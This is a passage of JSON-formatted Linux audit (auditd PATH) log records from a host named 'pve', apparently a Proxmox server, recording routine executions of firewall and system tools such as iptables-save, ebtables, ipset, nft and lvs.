name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366185,"@rawstring":"node=pve type=PATH msg=audit(1781964366.185:60723): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366177,"@rawstring":"node=pve type=PATH msg=audit(1781964366.177:60722): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366177,"@rawstring":"node=pve type=PATH msg=audit(1781964366.177:60722): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366165,"@rawstring":"node=pve type=PATH msg=audit(1781964366.165:60721): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366165,"@rawstring":"node=pve type=PATH msg=audit(1781964366.165:60721): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366152,"@rawstring":"node=pve type=PATH msg=audit(1781964366.152:60720): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366152,"@rawstring":"node=pve type=PATH msg=audit(1781964366.152:60720): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366106,"@rawstring":"node=pve type=PATH msg=audit(1781964366.106:60718): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366106,"@rawstring":"node=pve type=PATH msg=audit(1781964366.106:60718): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366084,"@rawstring":"node=pve type=PATH msg=audit(1781964366.084:60717): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366084,"@rawstring":"node=pve type=PATH msg=audit(1781964366.084:60717): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366068,"@rawstring":"node=pve type=PATH msg=audit(1781964366.068:60716): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366068,"@rawstring":"node=pve type=PATH msg=audit(1781964366.068:60716): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366059,"@rawstring":"node=pve type=PATH msg=audit(1781964366.059:60715): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366059,"@rawstring":"node=pve type=PATH msg=audit(1781964366.059:60715): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366050,"@rawstring":"node=pve type=PATH msg=audit(1781964366.050:60714): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366050,"@rawstring":"node=pve type=PATH msg=audit(1781964366.050:60714): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366038,"@rawstring":"node=pve type=PATH msg=audit(1781964366.038:60713): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366038,"@rawstring":"node=pve type=PATH msg=audit(1781964366.038:60713): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366024,"@rawstring":"node=pve type=PATH msg=audit(1781964366.024:60712): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366024,"@rawstring":"node=pve type=PATH msg=audit(1781964366.024:60712): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366009,"@rawstring":"node=pve type=PATH msg=audit(1781964366.009:60711): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366009,"@rawstring":"node=pve type=PATH msg=audit(1781964366.009:60711): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366001,"@rawstring":"node=pve type=PATH msg=audit(1781964366.001:60710): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964366001,"@rawstring":"node=pve type=PATH msg=audit(1781964366.001:60710): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365977,"@rawstring":"node=pve type=PATH msg=audit(1781964365.977:60709): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365977,"@rawstring":"node=pve type=PATH msg=audit(1781964365.977:60709): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365977,"@rawstring":"node=pve type=PATH msg=audit(1781964365.977:60708): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365977,"@rawstring":"node=pve type=PATH msg=audit(1781964365.977:60708): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365977,"@rawstring":"node=pve type=PATH msg=audit(1781964365.977:60707): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365969,"@rawstring":"node=pve type=PATH msg=audit(1781964365.969:60706): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365969,"@rawstring":"node=pve type=PATH msg=audit(1781964365.969:60706): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365969,"@rawstring":"node=pve type=PATH msg=audit(1781964365.969:60706): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365959,"@rawstring":"node=pve type=PATH msg=audit(1781964365.959:60705): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365959,"@rawstring":"node=pve type=PATH msg=audit(1781964365.959:60705): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365951,"@rawstring":"node=pve type=PATH msg=audit(1781964365.951:60704): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365951,"@rawstring":"node=pve type=PATH msg=audit(1781964365.951:60704): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365945,"@rawstring":"node=pve type=PATH msg=audit(1781964365.945:60703): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365945,"@rawstring":"node=pve type=PATH msg=audit(1781964365.945:60703): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365928,"@rawstring":"node=pve type=PATH msg=audit(1781964365.928:60702): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365928,"@rawstring":"node=pve type=PATH msg=audit(1781964365.928:60702): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365913,"@rawstring":"node=pve type=PATH msg=audit(1781964365.913:60701): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964365913,"@rawstring":"node=pve type=PATH msg=audit(1781964365.913:60701): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364368,"@rawstring":"node=pve type=PATH msg=audit(1781964364.368:60700): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364368,"@rawstring":"node=pve type=PATH msg=audit(1781964364.368:60700): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364313,"@rawstring":"node=pve type=PATH msg=audit(1781964364.313:60699): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364313,"@rawstring":"node=pve type=PATH msg=audit(1781964364.313:60699): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364070,"@rawstring":"node=pve type=PATH msg=audit(1781964364.070:60698): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364070,"@rawstring":"node=pve type=PATH msg=audit(1781964364.070:60698): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364070,"@rawstring":"node=pve type=PATH msg=audit(1781964364.070:60697): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364070,"@rawstring":"node=pve type=PATH msg=audit(1781964364.070:60696): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364045,"@rawstring":"node=pve type=PATH msg=audit(1781964364.045:60695): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364045,"@rawstring":"node=pve type=PATH msg=audit(1781964364.045:60695): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364045,"@rawstring":"node=pve type=PATH msg=audit(1781964364.045:60694): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964364045,"@rawstring":"node=pve type=PATH msg=audit(1781964364.045:60693): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964359030,"@rawstring":"node=pve type=PATH msg=audit(1781964359.030:60692): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964359030,"@rawstring":"node=pve type=PATH msg=audit(1781964359.030:60692): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964359030,"@rawstring":"node=pve type=PATH msg=audit(1781964359.030:60691): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964359030,"@rawstring":"node=pve type=PATH msg=audit(1781964359.030:60690): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964359017,"@rawstring":"node=pve type=PATH msg=audit(1781964359.017:60689): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964359017,"@rawstring":"node=pve type=PATH msg=audit(1781964359.017:60689): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964359017,"@rawstring":"node=pve type=PATH msg=audit(1781964359.017:60688): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964359016,"@rawstring":"node=pve type=PATH msg=audit(1781964359.016:60687): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355850,"@rawstring":"node=pve type=PATH msg=audit(1781964355.850:60686): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355850,"@rawstring":"node=pve type=PATH msg=audit(1781964355.850:60686): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355834,"@rawstring":"node=pve type=PATH msg=audit(1781964355.834:60685): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355834,"@rawstring":"node=pve type=PATH msg=audit(1781964355.834:60685): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355833,"@rawstring":"node=pve type=PATH msg=audit(1781964355.833:60684): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355833,"@rawstring":"node=pve type=PATH msg=audit(1781964355.833:60684): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355833,"@rawstring":"node=pve type=PATH msg=audit(1781964355.833:60683): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355825,"@rawstring":"node=pve type=PATH msg=audit(1781964355.825:60682): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355825,"@rawstring":"node=pve type=PATH msg=audit(1781964355.825:60682): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355825,"@rawstring":"node=pve type=PATH msg=audit(1781964355.825:60682): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355774,"@rawstring":"node=pve type=PATH msg=audit(1781964355.774:60681): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355774,"@rawstring":"node=pve type=PATH msg=audit(1781964355.774:60681): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355749,"@rawstring":"node=pve type=PATH msg=audit(1781964355.749:60680): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355749,"@rawstring":"node=pve type=PATH msg=audit(1781964355.749:60680): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355733,"@rawstring":"node=pve type=PATH msg=audit(1781964355.733:60679): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355733,"@rawstring":"node=pve type=PATH msg=audit(1781964355.733:60679): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355694,"@rawstring":"node=pve type=PATH msg=audit(1781964355.694:60678): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355694,"@rawstring":"node=pve type=PATH msg=audit(1781964355.694:60678): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355649,"@rawstring":"node=pve type=PATH msg=audit(1781964355.649:60676): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355649,"@rawstring":"node=pve type=PATH msg=audit(1781964355.649:60676): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355612,"@rawstring":"node=pve type=PATH msg=audit(1781964355.612:60675): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355612,"@rawstring":"node=pve type=PATH msg=audit(1781964355.612:60675): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355593,"@rawstring":"node=pve type=PATH msg=audit(1781964355.593:60674): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355593,"@rawstring":"node=pve type=PATH msg=audit(1781964355.593:60674): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355583,"@rawstring":"node=pve type=PATH msg=audit(1781964355.583:60673): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355583,"@rawstring":"node=pve type=PATH msg=audit(1781964355.583:60673): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355559,"@rawstring":"node=pve type=PATH msg=audit(1781964355.559:60672): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355559,"@rawstring":"node=pve type=PATH msg=audit(1781964355.559:60672): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355547,"@rawstring":"node=pve type=PATH msg=audit(1781964355.547:60671): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355547,"@rawstring":"node=pve type=PATH msg=audit(1781964355.547:60671): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964355536,"@rawstring":"node=pve type=PATH msg=audit(1781964355.536:60670): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 